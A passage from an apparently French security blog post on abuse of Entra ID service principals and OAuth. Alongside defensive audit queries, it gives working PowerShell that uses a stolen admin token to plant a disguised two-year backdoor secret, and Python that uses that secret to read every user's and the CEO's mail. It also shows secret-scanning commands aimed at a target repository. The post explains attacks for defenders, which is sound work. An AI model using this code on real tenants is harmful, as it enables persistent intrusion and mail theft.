<div class="language-kusto codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kusto codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// KQL : Trouver les applications avec des permissions déléguées à haut risque</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">AuditLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where OperationName == "Add delegated permission grant"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| extend </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Permission = tostring(TargetResources[0].modifiedProperties[0].newValue),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Principal = tostring(InitiatedBy.user.userPrincipalName)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where Permission has_any ("Mail.Read", "Files.Read.All", "MailboxSettings", "offline_access")</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| project TimeGenerated, Principal, Permission</span><br></span></code></pre></div></div>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># PowerShell : Énumérer toutes les subventions OAuth dans le tenant (en tant qu'Administrateur Global)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Connect-MgGraph -Scopes "Directory.Read.All"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Obtenir tous les principaux de service avec des subventions de permissions déléguées</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$grants = Get-MgOauth2PermissionGrant -All</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">foreach ($grant in $grants) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $sp = Get-MgServicePrincipal -ServicePrincipalId $grant.ClientId</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    [PSCustomObject]@{</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        AppName     = $sp.DisplayName</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        AppId       = $sp.AppId</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        Publisher   = $sp.PublisherName</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        Permissions = $grant.Scope</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        ConsentType = $grant.ConsentType  # AllPrincipals = consentement admin, Principal = utilisateur</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        UserId      = $grant.PrincipalId</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">} | Where-Object { </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $_.Permissions -match "Mail|Files|offline_access|MailboxSettings" </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">} | Export-Csv "oauth_grants_audit.csv" -NoTypeInformation</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="section-4--abus-des-identifiants-de-principal-de-service--langle-mort-de-ladministrateur">Section 4 : Abus des Identifiants de Principal de Service  L'Angle Mort de l'Administrateur<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#section-4--abus-des-identifiants-de-principal-de-service--langle-mort-de-ladministrateur" class="hash-link" aria-label="Direct link to Section 4 : Abus des Identifiants de Principal de Service  L'Angle Mort de l'Administrateur" title="Direct link to Section 4 : Abus des Identifiants de Principal de Service  L'Angle Mort de l'Administrateur" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="pourquoi-les-principaux-de-service-sont-plus-dangereux-que-les-comptes-utilisateurs">Pourquoi les Principaux de Service Sont Plus Dangereux que les Comptes Utilisateurs<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#pourquoi-les-principaux-de-service-sont-plus-dangereux-que-les-comptes-utilisateurs" class="hash-link" aria-label="Direct link to Pourquoi les Principaux de Service Sont Plus Dangereux que les Comptes Utilisateurs" title="Direct link to Pourquoi les Principaux de Service Sont Plus Dangereux que les Comptes Utilisateurs" translate="no">​</a></h3>
<p>Un compte utilisateur compromis, c'est grave. Un principal de service compromis avec des permissions applicatives, c'est une catastrophe.</p>
<p>Les principaux de service représentent des applications dans Entra ID. Quand une application dispose de permissions applicatives (par opposition aux permissions déléguées), elle agit en son propre nom  pas au nom d'un utilisateur. Cela signifie :</p>
<ul>
<li class="">Aucun MFA. Jamais.</li>
<li class="">Aucune politique d'Accès Conditionnel (la plupart sont limitées aux utilisateurs)</li>
<li class="">Access tokens valides pendant 24 heures par défaut</li>
<li class="">Les actions peuvent ne pas apparaître dans les journaux d'audit visibles par les utilisateurs</li>
<li class="">Souvent des rôles privilégiés assignés par des développeurs qui "avaient juste besoin que ça fonctionne"</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="comment-les-attaquants-obtiennent-les-identifiants-des-principaux-de-service">Comment les Attaquants Obtiennent les Identifiants des Principaux de Service<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#comment-les-attaquants-obtiennent-les-identifiants-des-principaux-de-service" class="hash-link" aria-label="Direct link to Comment les Attaquants Obtiennent les Identifiants des Principaux de Service" title="Direct link to Comment les Attaquants Obtiennent les Identifiants des Principaux de Service" translate="no">​</a></h3>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="chemin-1--fuite-didentifiants-dans-les-dépôts-de-code">Chemin 1 : Fuite d'Identifiants dans les Dépôts de Code<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#chemin-1--fuite-didentifiants-dans-les-d%C3%A9p%C3%B4ts-de-code" class="hash-link" aria-label="Direct link to Chemin 1 : Fuite d'Identifiants dans les Dépôts de Code" title="Direct link to Chemin 1 : Fuite d'Identifiants dans les Dépôts de Code" translate="no">​</a></h4>
<p>Le vecteur d'accès initial le plus courant pour ce type d'attaque. Des développeurs commitent des secrets d'application, des empreintes de certificat ou des identifiants client dans des dépôts GitHub, GitLab ou Azure DevOps  accidentellement ou en configuration codée en dur.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Outils utilisés par les attaquants pour traquer les identifiants fuités</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># truffleHog  recherche dans l'historique git les chaînes à haute entropie et les motifs connus</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">trufflehog </span><span class="token function" style="color:hsl(256, 54%, 50%)">git</span><span class="token plain"> https://github.com/target-company/repo --only-verified</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># gitleaks  scanner rapide de secrets dans les dépôts git</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">gitleaks detect </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">--source</span><span class="token plain"> /path/to/cloned/repo --report-format json</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Ce que cherchent les attaquants dans les fichiers de config fuités :</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># AZURE_CLIENT_ID=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># AZURE_CLIENT_SECRET=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># AZURE_TENANT_ID=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx</span><br></span></code></pre></div></div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="chemin-2--ajout-didentifiants-à-un-principal-de-service-existant">Chemin 2 : Ajout d'Identifiants à un Principal de Service Existant<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#chemin-2--ajout-didentifiants-%C3%A0-un-principal-de-service-existant" class="hash-link" aria-label="Direct link to Chemin 2 : Ajout d'Identifiants à un Principal de Service Existant" title="Direct link to Chemin 2 : Ajout d'Identifiants à un Principal de Service Existant" translate="no">​</a></h4>
<p>Si un attaquant compromet un compte Administrateur Global (via l'une des méthodes ci-dessus), il peut ajouter de nouveaux identifiants à des principaux de service hautement privilégiés existants  créant une porte dérobée persistante qui survit à la remédiation du compte compromis initial.</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># L'attaquant ajoute un nouveau secret à un principal de service privilégié existant</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Nécessite Application.ReadWrite.All ou un rôle admin privilégié</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Connect-MgGraph -AccessToken $stolen_admin_token</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Trouver les principaux de service à haute valeur (ceux avec des permissions Directory ou Exchange)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$targets = Get-MgServicePrincipal -All | Where-Object {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $_.AppRoles.Value -match "Directory|Exchange|Mail|Sites" -or</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    (Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $_.Id).ResourceDisplayName -eq "Microsoft Graph"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Ajouter un identifiant de porte dérobée au principal de service cible</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$targetSP = $targets[0]</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$credential = Add-MgServicePrincipalPassword -ServicePrincipalId $targetSP.Id -PasswordCredential @{</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    DisplayName = "sync-service-key"  # nom anodin</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    EndDateTime = (Get-Date).AddYears(2)  # validité de 2 ans</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Write-Output "Nouveau secret : $($credential.SecretText)"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># L'attaquant dispose maintenant d'un accès de 2 ans même après la remédiation de l'incident</span><br></span></code></pre></div></div>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Utilisation des identifiants de porte dérobée pour s'authentifier et accéder aux données</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> requests</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">tenant_id </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"target-tenant-id"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">client_id </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"service-principal-client-id"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">client_secret </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"backdoor-secret-obtained-above"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Obtenir un access token  SANS MFA, SANS interaction utilisateur, SANS Accès Conditionnel</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">token_response </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> requests</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">post</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"https://login.microsoftonline.com/</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">tenant_id</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">/oauth2/v2.0/token"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    data</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token string" style="color:hsl(139, 66%, 32%)">"client_id"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> client_id</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token string" style="color:hsl(139, 66%, 32%)">"client_secret"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> client_secret</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token string" style="color:hsl(139, 66%, 32%)">"grant_type"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"client_credentials"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token string" style="color:hsl(139, 66%, 32%)">"scope"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/.default"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">access_token </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> token_response</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">json</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">"access_token"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Avec les permissions applicatives, accéder aux emails de TOUS les utilisateurs (pas seulement un compte)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">headers </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string" style="color:hsl(139, 66%, 32%)">"Authorization"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"Bearer </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">access_token</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Lister tous les utilisateurs du tenant</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">all_users </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> requests</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/v1.0/users?$select=id,mail,displayName,jobTitle"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    headers</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain">headers</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">json</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Lire les emails d'un cadre spécifique</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">ceo_id </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"ceo-user-object-id"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">ceo_mail </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> requests</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"https://graph.microsoft.com/v1.0/users/</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">ceo_id</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">/messages?$top=50"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    headers</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain">headers</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">json</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><br></span></code></pre></div></div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="chemin-3--abus-de-la-fédération-didentité-de-charge-de-travail">Chemin 3 : Abus de la Fédération d'Identité de Charge de Travail<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#chemin-3--abus-de-la-f%C3%A9d%C3%A9ration-didentit%C3%A9-de-charge-de-travail" class="hash-link" aria-label="Direct link to Chemin 3 : Abus de la Fédération d'Identité de Charge de Travail" title="Direct link to Chemin 3 : Abus de la Fédération d'Identité de Charge de Travail" translate="no">​</a></h4>
<p>Les environnements récents utilisent la Fédération d'Identité de Charge de Travail pour permettre aux applications dans des systèmes externes (GitHub Actions, AWS, GCP) de s'authentifier auprès d'Entra ID sans secrets. Si un attaquant compromet le système externe (ex. un dépôt GitHub), il hérite des permissions Entra ID.</p>
<div class="language-yaml codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-yaml codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Workflow GitHub Actions  cas d'usage légitime</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Si le dépôt est compromis, l'attaquant obtient l'accès Entra ID</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">-</span><span class="token plain"> </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">name</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> Login to Azure</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">uses</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> azure/login@v1</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">with</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">client-id</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> $</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"> secrets.AZURE_CLIENT_ID </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">tenant-id</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> $</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"> secrets.AZURE_TENANT_ID </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">subscription-id</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> $</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"> secrets.AZURE_SUBSCRIPTION_ID </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Si l'attaquant peut déclencher ce workflow (via une PR sur un dépôt public,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># ou la compromission du compte d'un mainteneur), il obtient le token</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="détection-des-abus-de-principal-de-service">Détection des Abus de Principal de Service<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#d%C3%A9tection-des-abus-de-principal-de-service" class="hash-link" aria-label="Direct link to Détection des Abus de Principal de Service" title="Direct link to Détection des Abus de Principal de Service" translate="no">​</a></h3>
